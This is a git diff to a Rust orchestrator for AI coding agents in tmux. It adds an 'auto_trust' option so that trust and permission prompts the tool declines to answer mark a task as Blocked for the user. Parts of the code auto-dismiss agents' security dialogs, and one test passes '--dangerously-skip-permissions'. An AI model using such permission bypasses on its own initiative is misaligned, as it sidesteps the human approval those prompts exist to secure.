+ u64::from_be_bytes(result[..8].try_into().unwrap())
+ )
}
/// Legacy hash function (DefaultHasher). Used only for migration from pre-SHA256 databases.
@@ -439,10 +442,9 @@ impl Database {
_ => return true,
};
refs_str.split(',').filter(|s| !s.is_empty()).all(|ref_id| {
- self.get_task(ref_id)
- .ok()
- .flatten()
- .map_or(true, |t| matches!(t.status, TaskStatus::Review | TaskStatus::Done))
+ self.get_task(ref_id).ok().flatten().map_or(true, |t| {
+ matches!(t.status, TaskStatus::Review | TaskStatus::Done)
+ })
})
}
@@ -472,9 +474,7 @@ impl Database {
}
pub fn get_project_by_id(&self, id: &str) -> Result<Option<Project>> {
- let mut stmt = self
- .conn
- .prepare("SELECT * FROM projects WHERE id = ?1")?;
+ let mut stmt = self.conn.prepare("SELECT * FROM projects WHERE id = ?1")?;
let project = stmt
.query_row(params![id], |row| {
diff --git a/src/git/worktree.rs b/src/git/worktree.rs
index ecd32cc..9898795 100644
--- a/src/git/worktree.rs
+++ b/src/git/worktree.rs
@@ -29,9 +29,7 @@ pub fn create_worktree_with_prefix(
worktree_dir: &str,
branch_prefix: &str,
) -> Result<PathBuf> {
- let worktree_path = project_path
- .join(worktree_dir)
- .join(task_slug);
+ let worktree_path = project_path.join(worktree_dir).join(task_slug);
// If worktree already exists and is valid, return it
if worktree_path.exists() && worktree_path.join(".git").exists() {
@@ -380,8 +378,7 @@ mod tests {
let temp_dir = TempDir::new().unwrap();
let envs = vec![("AGTX_TASK_ID".to_string(), "task-123".to_string())];
- let output =
- run_worktree_script("echo $AGTX_TASK_ID", temp_dir.path(), &envs).unwrap();
+ let output = run_worktree_script("echo $AGTX_TASK_ID", temp_dir.path(), &envs).unwrap();
assert!(output.status.success());
assert_eq!(output.stdout.trim(), "task-123");
diff --git a/src/mcp/prehandshake.rs b/src/mcp/prehandshake.rs
index ca491f1..f559aad 100644
--- a/src/mcp/prehandshake.rs
+++ b/src/mcp/prehandshake.rs
@@ -197,7 +197,10 @@ mod tests {
fn unparseable_line_does_not_flip_the_initialized_flag() {
let mut filter = HandshakeFilter::new();
// Contains the word but is not a handshake β€” must not open the gate.
- assert_eq!(filter.next(r#"garbage "initialize" garbage"#), PreInitAction::Forward);
+ assert_eq!(
+ filter.next(r#"garbage "initialize" garbage"#),
+ PreInitAction::Forward
+ );
assert!(matches!(
filter.next(r#"{"jsonrpc":"2.0","id":9,"method":"server/discover"}"#),
PreInitAction::Reject(_)
diff --git a/src/tmux/operations.rs b/src/tmux/operations.rs
index 2ddcc6b..9e894fa 100644
--- a/src/tmux/operations.rs
+++ b/src/tmux/operations.rs
@@ -353,7 +353,10 @@ mod tests {
let cmd = dump_argv_command(&["--dangerously-skip-permissions", prompt]);
assert_eq!(
argv_delivered_by(&cmd),
- vec!["--dangerously-skip-permissions".to_string(), prompt.to_string()],
+ vec![
+ "--dangerously-skip-permissions".to_string(),
+ prompt.to_string()
+ ],
);
}
@@ -426,7 +429,8 @@ mod tests {
let agent = crate::agent::Agent::new("claude", "claude", "", "");
let ops = crate::agent::CodingAgent::new(agent);
let json = r#"{"type":"stdio","command":"/bin/agtx","args":["mcp-serve","/tmp/repo"]}"#;
- let cmd = crate::agent::AgentOperations::build_orchestrator_command(&ops, json, "/bin/agtx");
+ let cmd =
+ crate::agent::AgentOperations::build_orchestrator_command(&ops, json, "/bin/agtx");
let (ok, seen) = argv_seen_by_fake_claude(&cmd);
assert!(ok, "the wrapped orchestrator command must run: {seen}");
assert!(
diff --git a/src/tui/app.rs b/src/tui/app.rs
index 19bc146..d1393bd 100644
--- a/src/tui/app.rs
+++ b/src/tui/app.rs
@@ -295,6 +295,10 @@ struct AppState {
pane_content_hashes: HashMap<String, (u64, Instant)>,
/// Why a task is Blocked, as reported by its agent's hook payload.
blocked_reasons: HashMap<String, String>,
+ /// Tasks whose agent is parked on a trust / permission prompt agtx declined to
+ /// answer. Kept apart from `blocked_reasons` because the orchestrator must
+ /// treat these differently: a nudge would be typed straight into the dialog.
+ trust_blocked: HashSet<String>,
// Guard: task IDs for which merge-conflict check has already been performed
merge_conflict_checked: HashSet<String>,
// Guard: task IDs for which stuck-task notification has been fired (reset on phase advance)
@@ -389,6 +393,18 @@ struct ReferencedTaskInfo {
worktree_path: Option<String>,
}
+/// The card / notification text for a task parked on a security prompt.
+///
+/// Names the agent and the action, because the fix is not something agtx can do:
+/// the user answers in the agent's own pane, or trusts the project once and every
+/// later worktree inherits it.
+fn trust_blocked_reason(agent: &str, dialog: &str) -> String {
+ format!(
+ "{agent} is waiting on a trust prompt (\"{dialog}\") β€” answer it in the pane, \
+ or run {agent} once in the project root and confirm there"
+ )
+}
+
/// Per-task result from the background session refresh thread.
struct SessionTaskStatus {
task_id: String,
@@ -407,6 +423,10 @@ struct SessionTaskStatus {
was_ready: bool,
/// The agent's own report of its state, when it writes one.
hook_status: Option<hook_status::AgentHookStatus>,
+ /// Set when the pane is showing a trust / permission prompt that agtx is
+ /// deliberately not answering (`auto_trust = false`). The task is waiting on a
+ /// person, not on the agent, so it reads as `Blocked` rather than `Working`.
+ awaiting_trust: Option<String>,
}
/// Results sent back from the background session refresh thread.
@@ -698,6 +718,7 @@ impl App {
spinner_frame: 0,
pane_content_hashes: HashMap::new(),
blocked_reasons: HashMap::new(),
+ trust_blocked: HashSet::new(),
merge_conflict_checked: HashSet::new(),
stuck_task_notified: HashSet::new(),
stuck_task_idle_since: HashMap::new(),
@@ -792,8 +813,11 @@ impl App {
app.state.orchestrator_session = Some(orch_target.clone());
let tmux_ops = Arc::clone(&app.state.tmux_ops);
let ready_flag = Arc::clone(&app.state.orchestrator_ready);
+ let auto_trust = app.state.config.auto_trust;
std::thread::spawn(move || {
- if wait_for_agent_ready(&tmux_ops, &orch_target, Some("claude")).is_some() {
+ if wait_for_agent_ready(&tmux_ops, &orch_target, Some("claude"), auto_trust)
+ .is_some()
+ {
ready_flag.store(true, Ordering::Release);
}
});
@@ -903,6 +927,7 @@ impl App {
spinner_frame: 0,
pane_content_hashes: HashMap::new(),
blocked_reasons: HashMap::new(),
+ trust_blocked: HashSet::new(),
merge_conflict_checked: HashSet::new(),
stuck_task_notified: HashSet::new(),
stuck_task_idle_since: HashMap::new(),
@@ -3188,6 +3213,7 @@ impl App {
let session_name = task.session_name.clone();
let worktree_path = task.worktree_path.clone();
let branch_name = task.branch_name.clone();
+ let agent = task.agent.clone();
// Update task status immediately
task.session_name = None;
@@ -3209,6 +3235,7 @@ impl App {
std::thread::spawn(move || {
cleanup_task_resources(
&task_id,
+ &agent,
&branch_name,
&session_name,
&worktree_path,
@@ -4880,6 +4907,16 @@ impl App {
&task.id,
true,
);
+ // Non-collapsed twin for the argv path (see `spawn_send_to_agent`).
+ let skill_cmd_launch = resolve_skill_command(
+ &plugin,
+ planning_phase,
+ &planning_agent,
+ &task_content,
+ task.cycle,
+ &task.id,
+ false,
+ );
let prompt =
resolve_prompt(&plugin, planning_phase, &task_content, &task.id, task.cycle);
let prompt_trigger = resolve_prompt_trigger(&plugin, planning_phase);
@@ -4891,11 +4928,13 @@ impl App {
Arc::clone(&self.state.agent_registry),
task.id.clone(),
self.state.config.agent_hooks,
+ self.state.config.auto_trust,
target,
task.agent.clone(),
planning_agent.clone(),
agent_switch,
skill_cmd,
+ skill_cmd_launch,
prompt,
prompt_trigger,
task_content,
@@ -4993,6 +5032,7 @@ impl App {
let (tx, rx) = mpsc::channel();
self.state.setup_rx = Some(rx);
+ let auto_trust = self.state.config.auto_trust;
std::thread::spawn(move || {
let mut tmp_task = Task::new(&task_title, &planning_agent_clone, &project_name);
tmp_task.id = task_id.clone();
@@ -5037,9 +5077,12 @@ impl App {
// launched with the opening message already in argv.
if launched_with_prompt {
// nothing to send
- } else if let Some(target) =
- wait_for_agent_ready(&tmux_ops, &target, Some(&planning_agent_clone))
- {
+ } else if let Some(target) = wait_for_agent_ready(
+ &tmux_ops,
+ &target,
+ Some(&planning_agent_clone),
+ auto_trust,
+ ) {
send_skill_and_prompt(
&tmux_ops,
&target,
@@ -5095,6 +5138,16 @@ impl App {
&task.id,
true,
);
+ // Non-collapsed twin for the argv path (see `spawn_send_to_agent`).
+ let skill_cmd_launch = resolve_skill_command(
+ &plugin,
+ run_phase,
+ &running_agent,
+ &task_content,
+ task.cycle,
+ &task.id,
+ false,
+ );
let prompt = resolve_prompt(&plugin, run_phase, &task_content, &task.id, task.cycle);
let prompt_trigger = resolve_prompt_trigger(&plugin, run_phase);
let auto_dismiss = plugin
@@ -5105,11 +5158,13 @@ impl App {
Arc::clone(&self.state.agent_registry),
task.id.clone(),
self.state.config.agent_hooks,
+ self.state.config.auto_trust,
session_name.clone(),
task.agent.clone(),
running_agent.clone(),
agent_switch,
skill_cmd,
+ skill_cmd_launch,
prompt,
prompt_trigger,
task_content,
@@ -5139,6 +5194,16 @@ impl App {
&task.id,
true,
);
+ // Non-collapsed twin for the argv path (see `spawn_send_to_agent`).
+ let skill_cmd_launch = resolve_skill_command(
+ &plugin,
+ "review",
+ &review_agent,
+ &task_content,
+ task.cycle,
+ &task.id,
+ false,
+ );
let prompt = resolve_prompt(&plugin, "review", &task_content, &task.id, task.cycle);
let prompt_trigger = resolve_prompt_trigger(&plugin, "review");
let auto_dismiss = plugin
@@ -5149,11 +5214,13 @@ impl App {
Arc::clone(&self.state.agent_registry),
task.id.clone(),
self.state.config.agent_hooks,
+ self.state.config.auto_trust,
session_name.clone(),
task.agent.clone(),
review_agent.clone(),
agent_switch,
skill_cmd,
+ skill_cmd_launch,
prompt,
prompt_trigger,
task_content,
@@ -5251,6 +5318,7 @@ impl App {
let session_name = task.session_name.clone();
let worktree_path = task.worktree_path.clone();
let branch_name = task.branch_name.clone();
+ let agent = task.agent.clone();
task.session_name = None;
task.worktree_path = None;
@@ -5266,6 +5334,7 @@ impl App {
std::thread::spawn(move || {
cleanup_task_resources(
&task_id_clone,
+ &agent,
&branch_name,
&session_name,
&worktree_path,
@@ -5362,6 +5431,7 @@ impl App {
let (tx, rx) = mpsc::channel();
self.state.setup_rx = Some(rx);
+ let auto_trust = self.state.config.auto_trust;
std::thread::spawn(move || {
// Create a temporary task to pass to setup_task_worktree
let mut tmp_task = Task::new(&task_title, &agent_name, &project_name);
@@ -5451,7 +5521,7 @@ impl App {
if launched_with_prompt {
// nothing to send
} else if let Some(target) =
- wait_for_agent_ready(&tmux_ops, &target, Some(&agent_name))
+ wait_for_agent_ready(&tmux_ops, &target, Some(&agent_name), auto_trust)
{
send_skill_and_prompt(
&tmux_ops,
@@ -5827,11 +5897,13 @@ impl App {
Arc::clone(&self.state.agent_registry),
task.id.clone(),
self.state.config.agent_hooks,
+ self.state.config.auto_trust,
target,
task.agent.clone(),
agent_switch_agent.clone(),
agent_switch,
skill_cmd,
+ skill_cmd_launch,
prompt,
prompt_trigger,
task_content,
@@ -5877,6 +5949,7 @@ impl App {
let (tx, rx) = mpsc::channel();
self.state.setup_rx = Some(rx);
+ let auto_trust = self.state.config.auto_trust;
std::thread::spawn(move || {
let mut tmp_task = Task::new(&task_title, &running_agent_clone, &project_name);
tmp_task.id = task_id.clone();
@@ -5922,9 +5995,12 @@ impl App {
// launched with the opening message already in argv.
if launched_with_prompt {
// nothing to send
- } else if let Some(target) =
- wait_for_agent_ready(&tmux_ops, &target, Some(&running_agent_clone))
- {
+ } else if let Some(target) = wait_for_agent_ready(
+ &tmux_ops,
+ &target,
+ Some(&running_agent_clone),
+ auto_trust,
+ ) {
send_skill_and_prompt(
&tmux_ops,
&target,
@@ -6037,6 +6113,18 @@ impl App {
&task.id,
true,
);
+ // An agent switch launches a new process, so it can take the message
+ // in argv β€” and that path keeps the task's own line structure.
+ // Only the send-after-ready fallback needs the flattened form.
+ let skill_cmd_launch = resolve_skill_command(
+ &plugin,
+ "planning",
+ &planning_agent,
+ &task_content,
+ task.cycle,
+ &task.id,
+ false,
+ );
let prompt =
resolve_prompt(&plugin, "planning", &task_content, &task.id, task.cycle);
let prompt_trigger = resolve_prompt_trigger(&plugin, "planning");
@@ -6049,10 +6137,12 @@ impl App {
let planning_agent_clone = planning_agent.clone();
let current_agent_clone = task.agent.clone();
let task_content_clone = task_content.clone();
+ let skill_cmd_launch = skill_cmd_launch.clone();
let auto_dismiss = plugin
.as_ref()
.map_or_else(Vec::new, |p| p.auto_dismiss.clone());
let wt_path = task.worktree_path.clone();
+ let auto_trust = self.state.config.auto_trust;
std::thread::spawn(move || {
let agent_ops = agent_registry.get(&planning_agent_clone);
// Recover window if it was lost
@@ -6063,29 +6153,53 @@ impl App {
wt_path.as_deref(),
&hook_task_id,
);
+ // An agent switch starts a *new process*, so it takes the
+ // opening message in argv exactly like a first launch β€”
+ // same act, just into an existing window. A same-agent
+ // advance cannot: that process is already running.
+ let mut delivered_at_launch = false;
if agent_switch {
- let new_cmd = agent_ops.build_interactive_command("");
+ let launch_text =
+ compose_launch_text(skill_cmd_launch.as_deref(), &prompt);
+ delivered_at_launch = agent::spec::can_launch_with_prompt(
+ agent_ops.prompt_injection(),
+ &launch_text,
+ );
+ let new_cmd =
+ agent_ops.build_interactive_command(if delivered_at_launch {
+ &launch_text
+ } else {
+ ""
+ });
switch_agent_in_tmux(
tmux_ops.as_ref(),
&session_clone,
&current_agent_clone,
&new_cmd,
);
- // The *new* agent is what has to become ready.
- let _ =
- wait_for_agent_ready(&tmux_ops, &session_clone, Some(&planning_agent_clone));
+ if !delivered_at_launch {
+ // The *new* agent is what has to become ready.
+ let _ = wait_for_agent_ready(
+ &tmux_ops,
+ &session_clone,
+ Some(&planning_agent_clone),
+ auto_trust,
+ );
+ }
+ }
+ if !delivered_at_launch {
+ send_skill_and_prompt(
+ &tmux_ops,
+ &session_clone,
+ &skill_cmd,
+ &prompt,
+ &prompt_trigger,
+ &task_content_clone,
+ &planning_agent_clone,
+ &auto_dismiss,
+ false,
+ );
}
- send_skill_and_prompt(
- &tmux_ops,
- &session_clone,
- &skill_cmd,
- &prompt,
- &prompt_trigger,
- &task_content_clone,
- &planning_agent_clone,
- &auto_dismiss,
- false,
- );
});
}
@@ -6367,6 +6481,16 @@ impl App {
&task.id,
true,
);
+ // Non-collapsed twin for the argv path (see `spawn_send_to_agent`).
+ let skill_cmd_launch = resolve_skill_command(
+ &plugin,
+ "review",
+ &review_agent,
+ &task_content,
+ task.cycle,
+ &task.id,
+ false,
+ );
let prompt = resolve_prompt(&plugin, "review", &task_content, &task.id, task.cycle);
let prompt_trigger = resolve_prompt_trigger(&plugin, "review");
let auto_dismiss = plugin
@@ -6377,11 +6501,13 @@ impl App {
Arc::clone(&self.state.agent_registry),
task.id.clone(),
self.state.config.agent_hooks,
+ self.state.config.auto_trust,
session_name.clone(),
task.agent.clone(),
review_agent.clone(),
agent_switch,
skill_cmd,
+ skill_cmd_launch,
prompt,
prompt_trigger,
task_content,
@@ -6437,8 +6563,11 @@ impl App {
let tmux_ops = Arc::clone(&self.state.tmux_ops);
let ready_flag = Arc::clone(&self.state.orchestrator_ready);
let target = orch_target.clone();
+ let auto_trust = self.state.config.auto_trust;
std::thread::spawn(move || {
- if wait_for_agent_ready(&tmux_ops, &target, Some("claude")).is_some() {
+ if wait_for_agent_ready(&tmux_ops, &target, Some("claude"), auto_trust)
+ .is_some()
+ {
ready_flag.store(true, Ordering::Release);
}
});
@@ -6564,8 +6693,11 @@ impl App {
let tmux_ops = Arc::clone(&self.state.tmux_ops);
let ready_flag = Arc::clone(&self.state.orchestrator_ready);
let target = orch_target;
+ let auto_trust = self.state.config.auto_trust;
std::thread::spawn(move || {
- if let Some(ready_target) = wait_for_agent_ready(&tmux_ops, &target, Some(&default_agent)) {
+ if let Some(ready_target) =
+ wait_for_agent_ready(&tmux_ops, &target, Some(&default_agent), auto_trust)
+ {
let _ = tmux_ops.send_keys(&ready_target, &skill_cmd);
ready_flag.store(true, Ordering::Release);
}
@@ -6919,6 +7051,7 @@ impl App {
let project_path = self.state.project_path.clone();
let tmux_ops = Arc::clone(&self.state.tmux_ops);
+ let auto_trust = self.state.config.auto_trust;
let (tx, rx) = mpsc::channel();
self.state.session_refresh_rx = Some(rx);
@@ -7034,14 +7167,41 @@ impl App {
// than that β€” observed in an emulated swebench container, where
// Claude showed the bypass warning well after the readiness window
// had closed and nothing was left watching for it.
- if phase_status == PhaseStatus::Working && !window_gone && hook_status.is_none() {
+ // Only a *fresh `Working`* report proves the pane is dialog-free: the
+ // agent is mid-turn, so it is past whatever gated its startup.
+ // `read_status` ages out a stale `Working`, but a `waiting`/`ended`
+ // record never expires (`hook_status.rs:102`) β€” so a leftover file
+ // from an earlier phase used to suppress this capture entirely, and a
+ // dialog rendered after a relaunch was never seen. That is exactly the
+ // resume path.
+ let hook_says_working = matches!(
+ hook_status.as_ref().map(|h| h.state),
+ Some(hook_status::HookState::Working)
+ );
+ let mut awaiting_trust: Option<String> = None;
+ if phase_status == PhaseStatus::Working && !window_gone && !hook_says_working {
if let Some(sn) = session_name.as_ref() {
if let Ok(content) = tmux_ops.capture_pane(sn) {
+ // Detected whether or not it is answered: with
+ // `auto_trust` off this is what turns the card
+ // `Blocked`, so the user knows a decision is theirs to
+ // make rather than watching a task sit at "working".
+ if !auto_trust {
+ awaiting_trust = visible_security_dialog(Some(&agent), &content)
+ .map(str::to_string);
+ }
// A fresh state each poll: the attempt cap guards a
// single startup burst, whereas here the 2s cadence
// between polls is itself the pacing.
let mut st = LaunchDialogState::default();
- dismiss_launch_dialog(&tmux_ops, sn, Some(&agent), &content, &mut st);
+ dismiss_launch_dialog(
+ &tmux_ops,
+ sn,
+ Some(&agent),
+ &content,
+ &mut st,
+ auto_trust,
+ );
// Mid-session approval prompts (Codex's "allow this
// MCP server to run tool") β€” a workaround for an
@@ -7078,6 +7238,7 @@ impl App {
phase_status,
content_hash,
hook_status,
+ awaiting_trust,
status,
worktree_path,
session_name,
@@ -7097,6 +7258,24 @@ impl App {
for task_status in result.statuses {
let mut phase = task_status.phase_status;
+ // A trust prompt outranks every liveness signal below it. The agent is
+ // alive and idle by any pane or hook measure, but it is waiting on a
+ // person β€” showing that as `Working` or `Idle` is what left users
+ // watching a task that would never move.
+ if let Some(ref dialog) = task_status.awaiting_trust {
+ if phase == PhaseStatus::Working || phase == PhaseStatus::Idle {
+ phase = PhaseStatus::Blocked;
+ self.state.pane_content_hashes.remove(&task_status.task_id);
+ self.state.trust_blocked.insert(task_status.task_id.clone());
+ self.state.blocked_reasons.insert(
+ task_status.task_id.clone(),
+ trust_blocked_reason(&task_status.agent, dialog),
+ );
+ }
+ } else {
+ self.state.trust_blocked.remove(&task_status.task_id);
+ }
+
if phase == PhaseStatus::Working {
match task_status.hook_status.as_ref().map(|h| h.state) {
// The agent told us what it is doing β€” believe it, and drop
@@ -7144,6 +7323,9 @@ impl App {
// Keep the reason text alongside the status so the card and the
// orchestrator notification can name what the agent is waiting for.
match (phase, task_status.hook_status.as_ref()) {
+ // A trust block already wrote its own reason, and no agent hook
+ // knows about it β€” the agent has not started reporting yet.
+ _ if task_status.awaiting_trust.is_some() => {}
(PhaseStatus::Blocked, Some(h)) => {
if let Some(msg) = h.message.clone() {
self.state
@@ -7262,10 +7444,18 @@ impl App {
.iter()
.find(|t| t.id == task_status.task_id)
.and_then(|t| t.plugin.as_deref());
+ // A task parked on a trust prompt is deliberately excluded. The
+ // orchestrator's remedies are `send_to_task` (a nudge) and
+ // `escalate_to_user`, and the nudge would be typed **into the dialog** β€”
+ // the exact corruption `LAUNCH_DIALOGS` scoping exists to prevent. It is
+ // also not a task the orchestrator can unstick: only the user can answer.
+ // The `Blocked` badge and its reason already say so on the board.
+ let trust_blocked = self.state.trust_blocked.contains(&task_status.task_id);
if matches!(
task_status.status,
TaskStatus::Planning | TaskStatus::Running
) && matches!(phase, PhaseStatus::Idle | PhaseStatus::Blocked)
+ && !trust_blocked
&& self.state.orchestrator_session.is_some()
&& should_send_stuck_notification(task_plugin)
{
@@ -7649,6 +7839,7 @@ fn cleanup_task_for_done(
/// Takes owned/cloned values so it can run in a spawned thread.
fn cleanup_task_resources(
task_id: &str,
+ agent: &str,
branch_name: &Option<String>,
session_name: &Option<String>,
worktree_path: &Option<String>,
@@ -7657,6 +7848,18 @@ fn cleanup_task_resources(
tmux_ops: &dyn TmuxOperations,
git_ops: &dyn GitOperations,
) {
+ // Drop this worktree from the agent's trust store, before it is removed β€”
+ // `forget` resolves the path, which needs the directory to still exist.
+ //
+ // Only stores agtx seeds are pruned; a record agtx did not write is not
+ // agtx's to delete. Without this the lists grow one dead entry per task
+ // forever: the machine this was written on had 19 in antigravity's, 27 in
+ // codex's and ~20 in claude's, nearly all pointing at directories that were
+ // long gone.
+ if let (Some(worktree), Some(home)) = (worktree_path, agent_trust_home()) {
+ let _ = agent::trust::forget(agent, Path::new(worktree), &home);
+ }
+
// Archive artifacts before removing worktree
if let Some(worktree) = worktree_path {
let artifacts_dir = Path::new(worktree).join(".agtx");
@@ -7876,9 +8079,10 @@ fn setup_task_worktree(
let agent_cmd = if launched_with_prompt {
agent_ops.build_interactive_command(&launch_text)
} else {
- let has_skill_support =
- resolve_skill_command(plugin, "planning", agent_name, "", task.cycle, &task.id, true)
- .is_some();
+ let has_skill_support = resolve_skill_command(
+ plugin, "planning", agent_name, "", task.cycle, &task.id, true,
+ )
+ .is_some();
if has_skill_support {
agent_ops.build_interactive_command("")
} else {
@@ -7920,6 +8124,11 @@ fn delete_task_resources(
tmux_ops: &dyn TmuxOperations,
git_ops: &dyn GitOperations,
) {
+ // Same prune as the Done path: a deleted task's worktree is just as gone.
+ if let (Some(worktree), Some(home)) = (&task.worktree_path, agent_trust_home()) {
+ let _ = agent::trust::forget(&task.agent, Path::new(worktree), &home);
+ }
+
// Kill tmux window if exists
if let Some(ref session_name) = task.session_name {
let _ = tmux_ops.kill_window(session_name);
@@ -8804,11 +9013,17 @@ fn spawn_send_to_agent(
agent_registry: Arc<dyn agent::AgentRegistry>,
task_id: String,
agent_hooks: bool,
+ auto_trust: bool,
target: String,
current_agent: String,
target_agent: String,
needs_switch: bool,
skill_cmd: Option<String>,
+ // The same command resolved **without** collapsing `{task}`, for the argv
+ // path. An agent switch starts a new process, so it takes the message in argv
+ // and keeps the task's line structure; only the typed fallback needs the
+ // flattened `skill_cmd`. See `resolve_skill_command`.
+ skill_cmd_launch: Option<String>,
prompt: String,
prompt_trigger: Option<String>,
task_content: String,
@@ -8830,6 +9045,7 @@ fn spawn_send_to_agent(
);
}
+ let mut delivered_at_launch = false;
if needs_switch {
// Deploy skills for the incoming agent only if its native skill directory
// doesn't exist yet. This handles the case where a worktree was created
@@ -8857,26 +9073,41 @@ fn spawn_send_to_agent(
}
}
let agent_ops = agent_registry.get(&target_agent);
- let new_cmd = agent_ops.build_interactive_command("");
+ // A switch starts a *new process*, so the opening message goes in argv
+ // exactly as it does on a first launch β€” same act, just into an
+ // existing window. A same-agent advance below cannot: that process is
+ // already running, so there is no argv to fill.
+ let launch_text = compose_launch_text(skill_cmd_launch.as_deref(), &prompt);
+ delivered_at_launch =
+ agent::spec::can_launch_with_prompt(agent_ops.prompt_injection(), &launch_text);
+ let new_cmd = agent_ops.build_interactive_command(if delivered_at_launch {
+ &launch_text
+ } else {
+ ""
+ });
switch_agent_in_tmux(tmux_ops.as_ref(), &target, &current_agent, &new_cmd);
- // The *new* agent is what has to become ready.
- let _ = wait_for_agent_ready(&tmux_ops, &target, Some(&target_agent));
+ if !delivered_at_launch {
+ // The *new* agent is what has to become ready.
+ let _ = wait_for_agent_ready(&tmux_ops, &target, Some(&target_agent), auto_trust);
+ }
+ }
+ if !delivered_at_launch {
+ let clear_context = plugin
+ .as_ref()
+ .map(|p| p.clear_context_on_advance)
+ .unwrap_or(false);
+ send_skill_and_prompt(
+ &tmux_ops,
+ &target,
+ &skill_cmd,
+ &prompt,
+ &prompt_trigger,
+ &task_content,
+ &target_agent,
+ &auto_dismiss,
+ clear_context,
+ );
}
- let clear_context = plugin
- .as_ref()
- .map(|p| p.clear_context_on_advance)
- .unwrap_or(false);
- send_skill_and_prompt(
- &tmux_ops,
- &target,
- &skill_cmd,
- &prompt,
- &prompt_trigger,
- &task_content,
- &target_agent,
- &auto_dismiss,
- clear_context,
- );
});
}
@@ -8890,6 +9121,14 @@ fn spawn_send_to_agent(
/// else.
const DELIVERY_ATTEMPTS: u32 = 3;
const DELIVERY_CONFIRM_POLLS: u32 = 10; // x 200ms = 2s
+
+/// Attempts and per-attempt budget for [`submit_message`].
+///
+/// Smaller than the delivery budget on purpose: by the time this runs the text is
+/// known to be in the composer, so this is only absorbing a composer that is still
+/// mid-render, not a session that never attached its stdin.
+const SUBMIT_ATTEMPTS: u32 = 3;
+const SUBMIT_CONFIRM_POLLS: u32 = 5; // x 200ms = 1s
/// Pane-settle budget before each attempt: 1s of quiet, given up on after 10s.
const SETTLE_STABLE_POLLS: u32 = 5;
const SETTLE_MAX_POLLS: u32 = 50;
@@ -8956,6 +9195,39 @@ fn wait_for_pane_settled(tmux_ops: &Arc<dyn TmuxOperations>, target: &str) -> bo
/// Returns whether the message was seen to land. Callers submit either way,
/// because a false negative (a pane that happened not to redraw) must not
/// swallow the task.
+/// Press Enter, and confirm the message actually left the composer.
+///
+/// [`deliver_message`] proves the *text* arrived. It says nothing about the Enter
+/// that submits it β€” those are separate keystrokes into the same TUI, and an Ink
+/// composer that has just accepted a bracketed paste can still be mid-render when
+/// the Enter lands. The keystroke is dropped, the paste sits on screen, and the
+/// phase never starts.
+///
+/// Observed against gemini 0.46.0, on the first smoke run where its credentials
+/// worked well enough to reach a second phase: `/agtx:execute <id>` sat in the
+/// composer while the agent reported "Waiting for approval". The fixed 150ms
+/// sleep this replaces was the whole guarantee, and for gemini it was not enough.
+///
+/// Retried only while the pane is **unchanged** β€” the same rule the paste and the
+/// dialog answers use. Submitting clears the composer and moves the message up,
+/// which is a visible change; an unchanged pane means the Enter was dropped.
+/// Never retried blindly: a stray Enter into an already-empty composer is its own
+/// bug, and is exactly why codex stopped getting a second one.
+fn submit_message(tmux_ops: &Arc<dyn TmuxOperations>, target: &str) {
+ for _ in 0..SUBMIT_ATTEMPTS {
+ let before = tmux_ops.capture_pane(target).unwrap_or_default();
+ let _ = tmux_ops.send_key(target, "Enter");
+ for _ in 0..SUBMIT_CONFIRM_POLLS {
+ std::thread::sleep(std::time::Duration::from_millis(200));
+ if let Ok(now) = tmux_ops.capture_pane(target) {
+ if now != before {
+ return;
+ }
+ }
+ }
+ }
+}
+
fn deliver_message(
tmux_ops: &Arc<dyn TmuxOperations>,
target: &str,
@@ -9063,7 +9335,8 @@ fn send_skill_and_prompt(
//
// Fix: send just the command name, wait for picker, Enter to confirm (inserts cmd),
// then send the args (picker dismissed, input now has just the command), then Enter.
- let strategy = agent::spec(agent_name).map_or(agent::SendStrategy::Generic, |s| s.send_strategy);
+ let strategy =
+ agent::spec(agent_name).map_or(agent::SendStrategy::Generic, |s| s.send_strategy);
if strategy == agent::SendStrategy::OpenCodePicker {
// Build the full message: skill command (if any) + prompt (if any)
@@ -9181,7 +9454,7 @@ fn send_skill_and_prompt(
// is unchanged, and only then is it submitted.
deliver_message(tmux_ops, target, &text, true);
std::thread::sleep(std::time::Duration::from_millis(150));
- let _ = tmux_ops.send_key(target, "Enter");
+ submit_message(tmux_ops, target);
// No second Enter for Codex any more. Its command picker ("Press enter
// to insert") opens in response to *typing* a `$skill`, not to a paste,
@@ -9826,7 +10099,25 @@ fn switch_agent_in_tmux(
"env -u CLAUDECODE -u CLAUDE_CODE_ENTRYPOINT {}",
new_agent_cmd
);
- let _ = tmux_ops.send_keys(target, &cmd);
+ // **One layer of quoting here, not two.** `create_window` nests its command
+ // inside `sh -c '…'` (`wrap_launch_command`), so a prompt going that way is
+ // quoted twice. This path types a command line into the window's
+ // *already-running* interactive shell, which parses it once β€” the quoting
+ // `compose_command` already applied is exactly right, and adding
+ // `single_quote` again would deliver visible backslashes into the composer.
+ if cmd.contains('\n') {
+ // A launch-injected prompt keeps its paragraphs, and typing a newline at a
+ // shell prompt submits the line. Bracketed paste puts the whole thing in
+ // the line editor as literal text, so one Enter runs it intact. If the
+ // shell has bracketed paste off this degrades to the typed behaviour β€”
+ // never worse than `send_keys`, which is why the no-newline path is left
+ // exactly as it was.
+ let _ = tmux_ops.paste_text(target, &cmd);
+ std::thread::sleep(std::time::Duration::from_millis(300));
+ let _ = tmux_ops.send_key(target, "Enter");
+ } else {
+ let _ = tmux_ops.send_keys(target, &cmd);
+ }
// 6. Wait for the new agent process to actually start (pane_current_command != shell).
// Without this, wait_for_agent_ready may see stale ">" from old pane content
@@ -9855,8 +10146,13 @@ const CONTENT_STABLE_THRESHOLD: u32 = 3;
/// Known first-launch dialogs that block an agent before it accepts any input,
/// paired with the keystroke that answers them.
///
-/// A worktree is a brand-new directory every time, so these fire on most task
-/// starts β€” they are the normal case, not an edge case.
+/// A worktree is a brand-new directory every time, and for agents whose trust is
+/// per-directory and not inherited (antigravity, cursor) these fire on most task
+/// starts β€” the normal case, not an edge case. Claude is the exception: it
+/// honours a trusted ancestor, so with the default in-project `worktree_dir` its
+/// trust arm only fires where the worktree has no trusted parent (containers,
+/// an out-of-project `worktree_dir`, the smoke runner). See the per-agent notes
+/// on `AgentSpec::dialogs`.
/// Every agent's `Launch`-scope dialog, flattened.
///
/// Flat because `wait_for_agent_ready` is handed only a tmux target and does not
@@ -9967,12 +10263,25 @@ fn answer_session_dialogs(
/// something which is not really a dialog cannot hammer the pane forever.
///
/// Returns true when an answer was sent.
+/// The security-decision dialog visible in `content`, if any.
+///
+/// Detection is deliberately separate from answering: with `auto_trust` off agtx
+/// still needs to *know* a trust prompt is up β€” that is what turns the task card
+/// `Blocked` β€” it just does not answer it.
